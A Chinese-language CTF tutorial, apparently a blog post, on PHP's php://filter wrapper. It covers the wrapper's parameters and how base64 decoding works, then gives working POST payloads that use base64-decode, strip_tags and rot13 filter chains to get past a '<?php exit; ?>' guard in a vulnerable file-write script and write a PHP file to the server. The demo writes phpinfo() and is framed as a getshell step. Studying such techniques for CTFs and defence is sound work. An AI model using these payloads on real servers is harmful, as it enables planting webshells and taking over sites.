很多 ctf题目中用到了 php://filter,于是我就详细总结学习一下
介绍
php://filter 是php中独有的一个协议,可以作为一个中间流来处理其他流,可以进行任意文件的读取。
php://filter 参数
名称 | 描述 | |
---|---|---|
resource=<要过滤的数据流> |
这个参数是必须的。它指定了你要筛选过滤的数据流。 | |
read=<读链的筛选列表> |
该参数可选。可以设定一个或多个过滤器名称,以管道符(` | `)分隔。 |
write=<写链的筛选列表> |
该参数可选。可以设定一个或多个过滤器名称,以管道符(` | `)分隔。 |
<;两个链的筛选列表> |
任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。 |
示例
示例 #1 php://filter/resource=<待过滤的数据流>
这个参数必须位于 php://filter 的末尾,并且指向需要过滤筛选的数据流。
<?php
/* 这简单等同于:
readfile("http://www.baidu.com");
实际上没有指定过滤器 */
readfile("php://filter/resource=http://www.baidu.com");
?>
示例 #2 php://filter/read=<读链需要应用的过滤器列表>
这个参数采用一个或以管道符 |
分隔的多个过滤器名称。
<?php
/* 这会以大写字母输出 www.example.com 的全部内容 */
readfile("php://filter/read=string.toupper/resource=http://www.baidu.com");
/* 这会和以上所做的一样,但还会用 ROT13 加密。 */
readfile("php://filter/read=string.toupper|string.rot13/resource=http://www.baidu.com");
/* 这会输出 www.baidu.com 全部内容的base64编码*/
readfile("php://filter/read=convert.base64-encode/resource=http://www.baidu.com");
/* 这会输出 www.baidu.com 内容的可打印字符编码*/
readfile("php://filter/read=convert.quoted-printable-encode/resource=http://www.baidu.com");
/* 以utf-8编码输入,以utf-7编码输出*/
readfile("php://filter/read=convert.iconv.utf-8.utf-7/resource=http://www.baidu.com");
示例 #3 php://filter/write=<写链需要应用的过滤器列表>
这个参数采用一个或以管道符 |
分隔的多个过滤器名称。
<?php
/* 这会通过 rot13 过滤器筛选出字符 "Hello World",然后写入当前目录下的 example.txt */
file_put_contents("php://filter/write=string.rot13/resource=example.txt","Hello World");
?>
CTF中的应用
编码与解码
开始之前讲一下base64编码和解码
Base64编码是使用64个可打印ASCII字符(A-Z、a-z、0-9、+、/)将任意字节序列数据编码成ASCII字符串,另有“=”符号用作后缀用途。
Base64将输入字符串按字节切分,取得每个字节对应的二进制值(若不足8比特则高位补0),然后将这些二进制数值串联起来,再按照6比特一组进行切分(因为2^6=64),最后一组若不足6比特则末尾补0。将每组二进制值转换成十进制,然后在base64码表中找到对应的符号并串联起来就是Base64编码结果。
举个例子
字符串:abc
转换为二进制:01100001 01100010 01100011
按6比特分组:011000 010110 001001 100011
转换为十进制:24 22 9 35
对照码表:Y W J j
base64编码:YWJj
解码过程相反,解码时4个字节为一组
base64编码:YWJj
根据码表转换为十进制:24 22 9 35
转换为六位二进制:011000 010110 001001 100011
按8位分组:01100001 01100010 01100011
转换为对应的ASCII码字符:a b c
php://filter的利用
这是一道CTF题目,尝试getshell
//test.php
<?php
$content = '<?php exit; ?>';
$content .= $_POST['txt'];
file_put_contents($_POST['filename'], $content);
$content 在开头加入了 exit;
,就算写入了一句话木马也无法执行,但是可以利用 base64解码来绕过 exit;
$_POST['filename']
可控,我们可以传入
filename=php://filter/write=convert.base64-decode/resource=shell.php
它的作用是将 $content
base64解码后再写入shell.php
如果base64解码时遇到的字符不属于64个可打印ASCII字符,则会跳过这些字符,仅将合法字符组成一个新的字符串进行解码。比如<?php exit; ?>
,解码时会跳过<? ;?>
,只解码phpexit
,由于base64解码时是4个字节一组,所以我们让7字节的phpexit
变为8字节:phpexita
。(不然会影响后面字符的解码)
txt
的值是:(PD9waHAgcGhwaW5mbygpOyA/Pg==
是<?php phpinfo(); ?>
的base64编码)
txt=aPD9waHAgcGhwaW5mbygpOyA/Pg==
开始传参
访问shell.php
访问到phpinfo()
页面,成功绕过了<?php exit; ?>
有的小伙伴可能疑惑<?php exit; ?>
怎么没了,其实是basr64解码导致它“整容”了,失去了原本的作用。
分析
代码中完整的$content
是:
<?php exit; ?>aPD9waHAgcGhwaW5mbygpOyA/Pg==
base64解码时我们可以将它分为两部分:<?php exit; ?>a
和PD9waHAgcGhwaW5mbygpOyA/Pg==
后者解码变成<?php phpinfo(); ?>
,前者却没这么顺利,下面是它的详细解码过程
源字符串:<?php exit; ?>a
跳过非法字符后的字符串:phpexita
根据码表转换为十进制:41 33 41 30 49 34 45 26
转换为六位二进制:101001 100001 101001 011110 110001 100010 101101 011010
按8位分组:10100110 00011010 01011110 11000110 00101011 01011010
转换为十进制: 166 26 94 198 43 90
对应ASCII字符:没有 SUB ^ 没有 + Z
base64解码(不存在的ASCII码字符用?表示):?SUB^?+Z
所以最后写入shell.php
的内容是?SUB^?+Z<?php phpinfo(); ?>
最后看一下shell.php
的内容,和我们分析的一样
字符串操作函数
strip_tags
php://filter
支持strip_tags()函数
strip_tags()函数
作用是去除XML标签,<a>、<br>、<p></p>
等等都是XML标签
通过php代码来测试一下:
<?phpreadfile('php://filter/read=string.strip_tags/resource=php://input');?>
可以看到<?php exit; ?>
和<?php phpinfo(); ?>
都被去除了,因为他们都是XML标签。
虽然这样可以绕过<?php exit; ?>
,但是我们写入的 webshell 也被去除了,通过base64编码解码可以避免这样
//test.php
<?php$content = '<?php exit; ?>';
$content .= $_POST['txt'];
file_put_contents($_POST['filename'], $content);
POST参数:
filename=php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.phptxt=PD9waHAgcGhwaW5mbygpOyA/Pg==
先查看一下shell.php
成功去除<?php exit; ?>
,并且保留了我们写入的webshell
rot13
与凯撒加密类似,位移为13
演示
<?phpreadfile('php://filter/read=string.rot13/resource=php://input');
还是利用这段代码
//test.php
<?php$content = '<?php exit; ?>';
$content .= $_POST['txt'];
file_put_contents($_POST['filename'], $content);
POST参数:
filename=php://filter/write=string.rot13/resource=shell.phptxt=<?cuc cucvasb(); ?>
传参:
查看shell.php
:
<?php exit; ?>
被编码成<?cuc rkvg; ?>
,在PHP不开启short_open_tag时,php不认识这个字符串,当然也就不会执行了
参考文章:
https://www.leavesongs.com/PENETRATION/php-filter-magic.html